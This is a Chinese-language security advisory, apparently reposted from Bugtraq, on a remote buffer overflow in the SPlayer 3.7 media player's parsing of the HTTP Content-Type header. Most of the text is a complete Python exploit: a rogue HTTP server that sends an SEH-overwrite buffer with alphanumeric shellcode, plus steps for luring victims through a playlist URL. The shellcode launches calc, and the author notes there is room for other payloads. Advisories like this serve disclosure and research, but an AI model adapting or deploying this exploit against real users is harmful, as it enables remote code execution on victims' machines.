SPlayer "Content-Type"标头远程缓冲区溢出漏洞

Question

SPlayer "Content-Type"标头远程缓冲区溢出漏洞

发布日期：2011-05-04
更新日期：2011-05-04

受影响系统：
Splayer Splayer 3.7
描述：
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BUGTRAQ  ID: 47721

SPlayer是一款使用简单的多媒体播放器，

SPlayer在处理"Content-Type"头选项时存在远程缓冲区溢出漏洞，远程攻击者可利用此漏洞在受影响应用程序中运行任意代码或造成拒绝服务。

<*来源：xsploitedsec
  *>

测试方法：
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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

2. #!/usr/bin/python
3. # Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow Exploit
4. # Date: May 04, 2011
5. # Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>
6. # Software Link: http://www.splayer.org/index.en.html
7. # Versions: <= 3.7 (build 2055)
8. # Tested On: WinXP SP3 Eng / SPlayer 3.7 build 2055 (English Locale)
9. # CVE: N/A
11. # Software Descripton:
12. # "SPlayer is a simple and free high performance all-in-one audio and video player that was designed
13. # in order to help you easily view your videos, images and listen to your music files. SPlayer lets
14. # you enjoy your favorite music and movies"
16. # Vulnerability information:
17. # SPlayer is vulnerable to a remote buffer overflow when parsing a specially crafted HTTP header from
18. # a remote server. The bug is triggered due to the "Content-Type:" field being passed to the wcstol()
19. # function, prior to any bounds checking. This could allow an attacker to trick a remote user into
20. # opening a specially crafted playlist file, containing a URL pointing to a malicious web server.
22. # Usage:
24. # Method 1:
25. # 1. Execute this script ...
26. # 2. Launch SPlayer, right click and click open->URL (ctrl+u) ...
27. # 3. Input the server URL and Click OK ...
28. # 4. Boom!/calc ...
30. # Method 2:
31. # 1. Execute this script ...
32. # 2. Launch SPlayer and click Open (ctrl+o) ...
33. # 3. Browse to any playlist file (m3u, pls) It must contain the server URL! ...
34. # 4. Click Open ...
35. # 5. [wait til URL is loaded], Boom!/calc ...
37. # URL Examples:
38. # http://serverip/anyfilename.avi
39. # http://serverip:port/anyfilename.avi
40. # http://serverip/*
42. # Shouts:
43. # edb-team, corelanc0d3r/corelan-team, kaotix, sheep, deca, nemesis
45. import sys
46. import socket
48. bindaddr = "0.0.0.0"
49. bindport = 1234
50. banner = "Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1"
52. # calc shellcode / alpha_upper
53. calcshell = (                  # Plenty of room for lots of shellcode here
54. "PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAP"
55. "AZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB3Y9R8Z9L8Y2RJT1N0V0Y0I0I0I0I0"
56. "I0I0I0I0I0I0C0C0C0C0C0C070Q0Z1Z110X0P001100112K11110Q02110B020B0B000B0B110B0X0P0"
57. "8110B2U0J0I0I2L0M080N1Y0E0P0G2P0C000Q2P0K090K0U0E1Q0H0R0B0D0L0K0B2R0P000L0K0F020"
58. "F2L0L0K0C1R0G1T0N2K0Q1R0D1X0D0O0L2W0C2Z0E2V0E1Q0I2O0F0Q0K2P0L2L0E2L0Q2Q0C0L0E0R0"
59. "D2L0G0P0O010J2O0D0M0G2Q0K2W0I2R0H2P0P0R0C1W0N2K0B2R0B000L0K0P0B0G0L0G2Q0H0P0N2K0"
60. "C2P0Q1X0K050K2P0P2T0Q0Z0E0Q0H0P0B2P0N2K0C2X0F2X0L0K0B2X0E2P0E0Q0N030I2S0G0L0P0I0"
61. "N2K0G0D0N2K0F1Q0I0F0P010I2O0E1Q0O000L2L0J1Q0H0O0F2M0C010O070G0H0K0P0B0U0L040E0S0"
62. "C0M0K0H0E2K0Q2M0Q040P2U0K0R0P0X0N2K0F080G0T0C010I0C0E060N2K0F2L0B2K0N2K0B2X0G2L0"
63. "C010K1S0N2K0G2T0L0K0C010H0P0L0I0Q0T0D1T0E2T0C2K0C2K0P1Q0B2Y0P0Z0P0Q0I2O0K0P0C1X0"
64. "C2O0C1Z0N2K0F2R0H2K0L0F0C2M0B0J0E0Q0N2M0N1U0O0I0G2P0C000E0P0B2P0Q2X0P010N2K0P2O0"
65. "O2W0K0O0J2U0M2K0J0P0N0U0I020F060E080N0F0L0U0O0M0M0M0K0O0I0E0E2L0F1V0Q2L0F1Z0M0P0"
66. "K0K0M000Q1U0G2U0O0K0P0G0D0S0Q1R0P2O0P1Z0C000Q0C0K0O0J2U0E030C0Q0P2L0E030D2N0B0E0"
67. "D080Q2U0C000E0Z1111KPA")
69. class Client():
71.     def about(self):
72.         about = "\r=======================================================================\n"
73.         about +=  " PoC Title: Exploit Title: SPlayer <= 3.7 (build 2055) Buffer Overflow\n"
74.         about +=  " Author: xsploitedsec <xsploitedsecurity [at] gmail [dot] com>\r\n"
75.         about +=  "======================================================================="
76.         print about
78.     def run (self):
79.         pre = "HTTP/1.1 200 OK\r\n"
80.         pre += "Date: Tue, 03 May 2011 04:18:38 GMT\r\n"
81.         pre += "Server: " + banner + "\r\n"
82.         pre += "Last-Modified: Sun, 03 Jul 2005 18:39:44 GMT\r\n"
83.         pre += "ETag: ""1f3814d-e6800-3fb032cba1c00""\r\n"
84.         pre += "Accept-Ranges: bytes\r\n"
85.         pre += "Content-Length: 99999\r\n"
86.         pre += "Connection: close\r\n"
87.         pre += "Content-Type: "
89.         #Begin evil buffer
90.         evil = "\x41" * 2073
91.         evil += "\x61\x73"        #popad/nop align
93.         evil += "\x25\x73"        #SE handler - ppr/splayer.exe [0x00730025]
95.         #Close the blinds
96.         evil += "\x73"            #nop/align
97.         evil += "\x55"            #push ebp
98.         evil += "\x73"            #nop/align
99.         evil += "\x58"            #pop eax
100.         evil += "\x73"            #nop/align
102.         #Align to EAX/execute shellcode
103.         evil += "\x05\x19\x11"        #add eax, 0x11001900
104.         evil += "\x73"            #nop/align
105.         evil += "\x2d\x11\x11"        #sub eax, 0x11001100
106.         evil += "\x73"            #nop/align
107.         evil += "\x50"            #push eax
108.         evil += "\x73"            #nop/align
109.         evil += "\xc3"            #ret
111.         evil += "\x46" * 1004        #align shellcode->EAX
112.         #End evil buffer
114.         padding = "\x44" * (30000 - len(pre + evil + calcshell)) + "\r\n"
115.         payload = pre + evil + calcshell + padding
117.         try:
118.             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
119.             s.bind((bindaddr, bindport))
120.             s.listen(5)
121.             print "[+] Listening for incoming connections on port: %d" % bindport + " ..."
122.         except:
123.             print "[!] Error binding socket, is the port already in use?\r\n[-] Exiting"
124.             sys.exit()
126.         # Note: SPlayer seems to connect/send a GET request twice every time a URL is processed
127.         # and it crashes after the second request
129.         while 1:
130.             (clientsock, address) = s.accept()
131.             print "[*] New connection from", address[0]
132.             clientsock.recv(1024)
133.             sent = clientsock.send(payload)
134.             print "[+] Payload sent successfully [size: %d bytes]" % sent
135.             sent = 0
136.             print "[-] Closing connection to", address[0]
137.             clientsock.close()
139. if __name__ == "__main__":
140.     Client().about()
141.     Client().run()

复制代码建议：
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厂商补丁：

Splayer
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.splayer.org/index.en.html